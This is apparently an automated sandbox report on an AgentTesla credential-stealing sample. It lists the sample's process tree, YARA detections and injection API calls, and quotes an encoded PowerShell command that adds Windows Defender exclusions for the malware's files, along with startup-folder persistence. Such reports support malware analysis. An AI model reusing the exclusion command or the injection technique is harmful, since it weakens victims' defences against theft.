Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	07:21:14
Start date:	15/01/2025
Path:	C:\Windows\SysWOW64\ipconfig.exe
Wow64 process (32bit):	true
Commandline:	ipconfig /release
Imagebase:	0x280000
File size:	29'184 bytes
MD5 hash:	3A3B9A5E00EF6A3F83BF300E2B6B67BB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	07:21:27
Start date:	15/01/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAHQAaQBuAGEAXABEAGUAcwBrAHQAbwBwAFwANQA4ADkANQA1ACwAIABaAE4AMgA1ADgAOAA4AEEAIAAjAFUAMgAwADEAMwAgAGQAcgBhAHcAaQBuAGcALgBwAGkAZgAuAGUAeABlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAQwA6AFwAVQBzAGUAcgBzAFwAdABpAG4AYQBcAEQAZQBzAGsAdABvAHAAXAA1ADgAOQA1ADUALAAgAFoATgAyADUAOAA4ADgAQQAgACMAVQAyADAAMQAzACAAZAByAGEAdwBpAG4AZwAuAHAAaQBmAC4AZQB4AGUAOwBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQwA6AFwAVQBzAGUAcgBzAFwAdABpAG4AYQBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAcABhAGcAZQAuAGUAeABlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAQwA6AFwAVQBzAGUAcgBzAFwAdABpAG4AYQBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAcABhAGcAZQAuAGUAeABlAA==
Imagebase:	0xcb0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	07:21:27
Start date:	15/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	07:21:29
Start date:	15/01/2025
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff72d8c0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	07:21:32
Start date:	15/01/2025
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Imagebase:	0xb40000
File size:	42'064 bytes
MD5 hash:	5D4073B2EB6D217C19F2B22F21BF8D57
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000002.1860164529.0000000002E01000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000B.00000002.1860164529.0000000002E01000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	07:21:32
Start date:	15/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c ipconfig /renew
Imagebase:	0xc50000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	07:21:32
Start date:	15/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	07:21:33
Start date:	15/01/2025
Path:	C:\Windows\SysWOW64\ipconfig.exe
Wow64 process (32bit):	true
Commandline:	ipconfig /renew
Imagebase:	0x280000
File size:	29'184 bytes
MD5 hash:	3A3B9A5E00EF6A3F83BF300E2B6B67BB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	07:21:42
Start date:	15/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\page.vbs"
Imagebase:	0x7ff6bf160000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	07:21:43
Start date:	15/01/2025
Path:	C:\Users\user\AppData\Roaming\page.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\page.exe"
Imagebase:	0x670000
File size:	196'096 bytes
MD5 hash:	BA27BFA68B1196840BE542CF4DC7178B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000010.00000002.1913541697.0000000002B28000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 24%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	07:21:45
Start date:	15/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c ipconfig /release
Imagebase:	0xc50000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	07:21:45
Start date:	15/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	07:21:45
Start date:	15/01/2025
Path:	C:\Windows\SysWOW64\ipconfig.exe
Wow64 process (32bit):	true
Commandline:	ipconfig /release
Imagebase:	0x280000
File size:	29'184 bytes
MD5 hash:	3A3B9A5E00EF6A3F83BF300E2B6B67BB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	07:21:58
Start date:	15/01/2025
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Imagebase:	0x3f0000
File size:	42'064 bytes
MD5 hash:	5D4073B2EB6D217C19F2B22F21BF8D57
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000014.00000002.2629909474.00000000025DC000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000014.00000002.2629909474.00000000025DC000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	21
Start time:	07:21:58
Start date:	15/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c ipconfig /renew
Imagebase:	0xc50000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 3252, Parent PID: 3236

General

Target ID:	22
Start time:	07:21:58
Start date:	15/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	07:21:58
Start date:	15/01/2025
Path:	C:\Windows\SysWOW64\ipconfig.exe
Wow64 process (32bit):	true
Commandline:	ipconfig /renew
Imagebase:	0x280000
File size:	29'184 bytes
MD5 hash:	3A3B9A5E00EF6A3F83BF300E2B6B67BB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	15.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	237
Total number of Limit Nodes:	33

Executed Functions

Function 05699650 Relevance: 1.9, Strings: 1, Instructions: 613COMMON

Download Yara Rule

Strings

8, xrefs: 0569976A

Memory Dump Source

Source File: 00000001.00000002.1675777355.0000000005690000.00000040.00000800.00020000.00000000.sdmp, Offset: 05690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5690000_58955, ZN25888A #U2013 drawing.jbxd

Similarity

API ID:
String ID: 8
API String ID: 0-4194326291
Opcode ID: 1dca2ef9a505b1ec1efe7cb7c425596eaf4d5051c450fc5bfe2751c96150c578
Instruction ID: bd22672a7e680c26efee460526fd08a750d7c6456a562175f33ca642e4ab5ee4
Opcode Fuzzy Hash: 1dca2ef9a505b1ec1efe7cb7c425596eaf4d5051c450fc5bfe2751c96150c578
Instruction Fuzzy Hash: 4152F575E012288FDBA4DF69C850AD9B7B2FF99300F5092EAD509A7354DB30AE81CF50

Function 05699640 Relevance: 1.4, Strings: 1, Instructions: 168COMMON

Download Yara Rule

Strings

h, xrefs: 0569975E

Memory Dump Source

Source File: 00000001.00000002.1675777355.0000000005690000.00000040.00000800.00020000.00000000.sdmp, Offset: 05690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5690000_58955, ZN25888A #U2013 drawing.jbxd

Similarity

API ID:
String ID: h
API String ID: 0-2439710439
Opcode ID: 1d789c7a7b55f8b0ce71aef4872fdc4d281868883f4c33e0d82aa419143cf394
Instruction ID: bcb1148bf7946d924826bd48cc29ce0c9a93bd2589f9e4400ebf11b48ccd7ca9
Opcode Fuzzy Hash: 1d789c7a7b55f8b0ce71aef4872fdc4d281868883f4c33e0d82aa419143cf394
Instruction Fuzzy Hash: F971E471E016298FEB68DF69C850BD9B7B6FB89300F10C2AAD509A7354DB305E85CF51

Function 00BB2830 Relevance: 1.0, Instructions: 1004COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1653317008.0000000000BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bb0000_58955, ZN25888A #U2013 drawing.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc9c53b38f61bd74ec5dc78e7cf25c0bae8f6f6525714e7f8fb45c67b8fe9728
Instruction ID: bd728ca41e5f3cbd70c764d6e78f41f7ac9f9e887678bd177b6a54c0b8c0a0fe
Opcode Fuzzy Hash: cc9c53b38f61bd74ec5dc78e7cf25c0bae8f6f6525714e7f8fb45c67b8fe9728
Instruction Fuzzy Hash: 0EA27B70A05204CFD710DF19D988BA9BBF2FB04B04F66C1A9D4159B36AD7B5DE88CB90

Function 06D1FA88 Relevance: .3, Instructions: 276COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1687342633.0000000006D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6d00000_58955, ZN25888A #U2013 drawing.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 45c6bb4e56603f1d42efbc0808023b9ae41cc32d1a23a6cc46ef04f33602763b
Instruction ID: 6e1c07df632d4ce1a6b7f08faac151153781a4484dde4c95b269b0d3d73c98f2
Opcode Fuzzy Hash: 45c6bb4e56603f1d42efbc0808023b9ae41cc32d1a23a6cc46ef04f33602763b
Instruction Fuzzy Hash: D3D1B074E01218CFDB54DFA9D994A9DBBF2FF89300F1081A9D50AAB365DB31A981CF50

Function 0569E478 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1675777355.0000000005690000.00000040.00000800.00020000.00000000.sdmp, Offset: 05690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5690000_58955, ZN25888A #U2013 drawing.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b9fc576b17ac899c42389d987e19a21f066a47e4bf10f8735be4306a561bef55
Instruction ID: 5526d440a42979e6a88201433fe6ce999d7adab6b7c462728241e77754b10bcc
Opcode Fuzzy Hash: b9fc576b17ac899c42389d987e19a21f066a47e4bf10f8735be4306a561bef55
Instruction Fuzzy Hash: 01A11174E04218CFEBA8DF58C944BADBBFABB49300F10A1A9D409A7354E7755D86CF11

Function 06D1F780 Relevance: .2, Instructions: 165COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1687342633.0000000006D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6d00000_58955, ZN25888A #U2013 drawing.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 642cb8d641db0feef68d2bd30ce98a51a9f9ccd6594b6ec86a2a9db5f6acec12
Instruction ID: 66f1173d5610ff77d66e02b3e6909b72cc72737ac8c27aedccb178bb95df435c
Opcode Fuzzy Hash: 642cb8d641db0feef68d2bd30ce98a51a9f9ccd6594b6ec86a2a9db5f6acec12
Instruction Fuzzy Hash: 67614B74E00209DFEB44DFA9E5806EEBBF2BF88300F549126E409EB355D7749986CB91

Function 0569BB88 Relevance: .1, Instructions: 135COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1675777355.0000000005690000.00000040.00000800.00020000.00000000.sdmp, Offset: 05690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5690000_58955, ZN25888A #U2013 drawing.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 043686d2d9a91f0b641787003b371f28a4b065e3ac8fad0491d988886a5b64b4
Instruction ID: ea711d772ebbba354497eb00ffab625bb323b801f35f064509e7a68ad18a64f8
Opcode Fuzzy Hash: 043686d2d9a91f0b641787003b371f28a4b065e3ac8fad0491d988886a5b64b4
Instruction Fuzzy Hash: 1851FA70E08218CBEB68DF66D8447ADBBBAFB89300F10D0AAD419B7355DB705985CF90

Function 0569BB77 Relevance: .1, Instructions: 123COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1675777355.0000000005690000.00000040.00000800.00020000.00000000.sdmp, Offset: 05690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5690000_58955, ZN25888A #U2013 drawing.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03f9b4d611f13f4abe34f6621f05fc19e4255880d8f6ff59a3191a2f1951f6f7
Instruction ID: cad6ef43c30cb8f0ccdd52cc3f46cc82871971b63c19e264e32dd371e19953e9
Opcode Fuzzy Hash: 03f9b4d611f13f4abe34f6621f05fc19e4255880d8f6ff59a3191a2f1951f6f7
Instruction Fuzzy Hash: 6151FA70E08218CBEB68DFA6D8447ADBBBAFB88300F14D06AD419B7355DB705985CF90

Function 0569D456 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 205
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 0569D63A

Strings

ps, xrefs: 0569D4AB
ps, xrefs: 0569D48B

Memory Dump Source

Source File: 00000001.00000002.1675777355.0000000005690000.00000040.00000800.00020000.00000000.sdmp, Offset: 05690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5690000_58955, ZN25888A #U2013 drawing.jbxd

Similarity

API ID: CreateProcess
String ID: ps$ps
API String ID: 963392458-1399427349
Opcode ID: 44f50892535f7c5f7f0761db700a7604a5600e92be61db4417d3e5c8ec6024d8
Instruction ID: 3ea22305522e725599456c7a7ee829d0b82dd59a15472f9f2d932ccd0763d387
Opcode Fuzzy Hash: 44f50892535f7c5f7f0761db700a7604a5600e92be61db4417d3e5c8ec6024d8
Instruction Fuzzy Hash: 638112B1D002599FDF14DFA9C8857AEBBF6BF48314F248129E859A7284DB748881CB81

Function 0569D460 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 201
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 0569D63A

Strings

ps, xrefs: 0569D4AB
ps, xrefs: 0569D48B

Memory Dump Source

Source File: 00000001.00000002.1675777355.0000000005690000.00000040.00000800.00020000.00000000.sdmp, Offset: 05690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5690000_58955, ZN25888A #U2013 drawing.jbxd

Similarity

API ID: CreateProcess
String ID: ps$ps
API String ID: 963392458-1399427349
Opcode ID: 015315cbb5da1ea1e297fcbfe4ad0c9f62b0edd1a3a690e23e2105b08d23addc
Instruction ID: 6f731ad3e3ef5e1b04025fd7c47454b7eff85e1ab7f6d39abc11c0304ca3c992
Opcode Fuzzy Hash: 015315cbb5da1ea1e297fcbfe4ad0c9f62b0edd1a3a690e23e2105b08d23addc
Instruction Fuzzy Hash: BF8124B1D002599FDF14DFA9C8857AEBBF6BF48314F148129E859A7384DB749881CF81

Function 05692EB4 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 148
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CopyFileA.KERNEL32(?,?,?), ref: 05693005

Strings

ps, xrefs: 05692EDF
ps, xrefs: 05692EFF

Memory Dump Source

Source File: 00000001.00000002.1675777355.0000000005690000.00000040.00000800.00020000.00000000.sdmp, Offset: 05690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5690000_58955, ZN25888A #U2013 drawing.jbxd

Similarity

API ID: CopyFile
String ID: ps$ps
API String ID: 1304948518-1399427349
Opcode ID: dea193e2f7ef3f4ce032a142433eee1491e0d370e6d195cd829d1e0ea6ef2f2e
Instruction ID: e285a6bbabe253f70642c5fa311f7c65d89877b45e91d1a7386ccbfae0766649
Opcode Fuzzy Hash: dea193e2f7ef3f4ce032a142433eee1491e0d370e6d195cd829d1e0ea6ef2f2e
Instruction Fuzzy Hash: 6B516874E002599FDF14DFA9C8557AEBBF6FB48310F148529E819E7780D7789881CB81

Function 05692EC0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 143
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CopyFileA.KERNEL32(?,?,?), ref: 05693005

Strings

ps, xrefs: 05692EDF
ps, xrefs: 05692EFF

Memory Dump Source

Source File: 00000001.00000002.1675777355.0000000005690000.00000040.00000800.00020000.00000000.sdmp, Offset: 05690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5690000_58955, ZN25888A #U2013 drawing.jbxd

Similarity

API ID: CopyFile
String ID: ps$ps
API String ID: 1304948518-1399427349
Opcode ID: 8a84e967d13c3a8c82cec3f3a2d12333c5de08b10012c220efae7f7e202aeef6
Instruction ID: 634498902df150c660d07f367d76ef15934db481a0f6ea2ff7dd360dfbcfcae9
Opcode Fuzzy Hash: 8a84e967d13c3a8c82cec3f3a2d12333c5de08b10012c220efae7f7e202aeef6
Instruction Fuzzy Hash: 9E515674E002599FDF14CFA9C8557AEBBF6BB48310F148529E819E7780D7B89881CB81

Function 0569FD98 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 71
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 0569FE30

Strings

ps, xrefs: 0569FDBF

Memory Dump Source

Source File: 00000001.00000002.1675777355.0000000005690000.00000040.00000800.00020000.00000000.sdmp, Offset: 05690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5690000_58955, ZN25888A #U2013 drawing.jbxd

Similarity

API ID: MemoryProcessWrite
String ID: ps
API String ID: 3559483778-4259926378
Opcode ID: 82e1da1844f01210f7a1679e73121c3cddf25cd73c0b54fd8b0f40a9619d0414
Instruction ID: 57ea04877e97ceb0aeb8bf52976931758d6b335ec0195ec4b4fde6dfcbf507f4
Opcode Fuzzy Hash: 82e1da1844f01210f7a1679e73121c3cddf25cd73c0b54fd8b0f40a9619d0414
Instruction Fuzzy Hash: C52124B59003499FDB10CFAAC884BEEBBF5FF48310F10842AE919A7241C7789944CBA0

Function 0569FDA0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 69
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 0569FE30

Strings

ps, xrefs: 0569FDBF

Memory Dump Source

Source File: 00000001.00000002.1675777355.0000000005690000.00000040.00000800.00020000.00000000.sdmp, Offset: 05690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5690000_58955, ZN25888A #U2013 drawing.jbxd

Similarity

API ID: MemoryProcessWrite
String ID: ps
API String ID: 3559483778-4259926378
Opcode ID: 90a8c4bad5914bbade05a2a039dcd0593d87ac1c57de95062d33e0ff9deaf0bc
Instruction ID: a3fc94b35c5740484a9193ae927c9a3d86cc4dc1fba63de66a9fedd4fad5aeb1
Opcode Fuzzy Hash: 90a8c4bad5914bbade05a2a039dcd0593d87ac1c57de95062d33e0ff9deaf0bc
Instruction Fuzzy Hash: 4E2126759003499FDF10CFAAC884BEEBBF5FF48310F108429E959A7651C7789944CBA0

Function 0569F579 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 65
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 0569F5FE

Strings

ps, xrefs: 0569F59C

Memory Dump Source

Source File: 00000001.00000002.1675777355.0000000005690000.00000040.00000800.00020000.00000000.sdmp, Offset: 05690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5690000_58955, ZN25888A #U2013 drawing.jbxd

Similarity

API ID: ContextThreadWow64
String ID: ps
API String ID: 983334009-4259926378
Opcode ID: 657f0ce9c5915cf5e9213c2677aaeec865c94e2acee6bba53e9cd95a52091d84
Instruction ID: e04ec6251d5eabfb970f1047ae3f3462a3a7c7481f8b2ed13a8897d966fc5636
Opcode Fuzzy Hash: 657f0ce9c5915cf5e9213c2677aaeec865c94e2acee6bba53e9cd95a52091d84
Instruction Fuzzy Hash: 9F2154729003099FDB10CFAAC4857EEFBF4EF48210F14842AD519A7740CBB89984CFA0

Function 0569F580 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 63
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 0569F5FE

Strings

ps, xrefs: 0569F59C

Memory Dump Source

Source File: 00000001.00000002.1675777355.0000000005690000.00000040.00000800.00020000.00000000.sdmp, Offset: 05690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5690000_58955, ZN25888A #U2013 drawing.jbxd

Similarity

API ID: ContextThreadWow64
String ID: ps
API String ID: 983334009-4259926378
Opcode ID: 3c8bff8a0551e0eb83b18f625a9581875134f8adfbb538190f93e02b9393b434
Instruction ID: fadd2c5973b422cb0ce0414a57b3799e19dc4a1411a0a52cba91ccf06edf315f
Opcode Fuzzy Hash: 3c8bff8a0551e0eb83b18f625a9581875134f8adfbb538190f93e02b9393b434
Instruction Fuzzy Hash: 612135759003089FDB14CFAAC4847EEFBF4FF48210F15842AD419A7641CBB89984CFA4

Function 0569FB29 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 55
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 0569FB9E

Strings

ps, xrefs: 0569FB47

Memory Dump Source

Source File: 00000001.00000002.1675777355.0000000005690000.00000040.00000800.00020000.00000000.sdmp, Offset: 05690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5690000_58955, ZN25888A #U2013 drawing.jbxd

Similarity

API ID: AllocVirtual
String ID: ps
API String ID: 4275171209-4259926378
Opcode ID: bd1e5822b7d1f7ad13057c9aa738287dd6cb64933d2e28df60a6300c0d900133
Instruction ID: 39ae9548725300504e3c4b1b72e30e171e0bad43a968c646318da7bd5558e44c
Opcode Fuzzy Hash: bd1e5822b7d1f7ad13057c9aa738287dd6cb64933d2e28df60a6300c0d900133
Instruction Fuzzy Hash: B21114769002489FDF10DFAAC844BDEBBF5EF88320F158819E519A7650C779A984CBA0

Function 0569FB30 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 0569FB9E

Strings

ps, xrefs: 0569FB47

Memory Dump Source

Source File: 00000001.00000002.1675777355.0000000005690000.00000040.00000800.00020000.00000000.sdmp, Offset: 05690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5690000_58955, ZN25888A #U2013 drawing.jbxd

Similarity

API ID: AllocVirtual
String ID: ps
API String ID: 4275171209-4259926378
Opcode ID: 1f0b7aea7ecc252cdefa061ee07daeee32ba676db7d0e904b10ea60fcb1b40c6
Instruction ID: 65914a4c9f4cbd08819ad308f723372952228db642d55fdf6def7f56cc21b474
Opcode Fuzzy Hash: 1f0b7aea7ecc252cdefa061ee07daeee32ba676db7d0e904b10ea60fcb1b40c6
Instruction Fuzzy Hash: B71126769002489FDF10DFAAC844BDFBBF5FF48320F148819E519A7650C7799980CBA0

Function 00BB54FF Relevance: 2.7, Strings: 1, Instructions: 1479COMMON

Download Yara Rule

Strings

jjjjjj, xrefs: 00BB443F

Memory Dump Source

Source File: 00000001.00000002.1653317008.0000000000BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bb0000_58955, ZN25888A #U2013 drawing.jbxd

Similarity

API ID:
String ID: jjjjjj
API String ID: 0-3900813449
Opcode ID: 064893294babd9fa286937961f9ac807145bb33e1e47993f126d418aeb26ba7f
Instruction ID: ba30916720a8fe999bcbc214537c0dd41a42c19d448a8ed06ec571f380a2adb1
Opcode Fuzzy Hash: 064893294babd9fa286937961f9ac807145bb33e1e47993f126d418aeb26ba7f
Instruction Fuzzy Hash: 1CE2287A250510EFDB4A9F98D948D55BBB2FF4D32471A81E8F2099B236C732D861EF40

Function 00BB55BE Relevance: 2.7, Strings: 1, Instructions: 1468COMMON

Download Yara Rule

Strings

jjjjjj, xrefs: 00BB443F

Memory Dump Source

Source File: 00000001.00000002.1653317008.0000000000BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bb0000_58955, ZN25888A #U2013 drawing.jbxd

Similarity

API ID:
String ID: jjjjjj
API String ID: 0-3900813449
Opcode ID: d696588f0335466b95dc2fa44443fe3ca30187ee8579c99ea93e5dd9a8aa0392
Instruction ID: bfa3ca839fb8da07caadc675cd3f4e993434bf0006e0007d4d6400e97fa6f04e
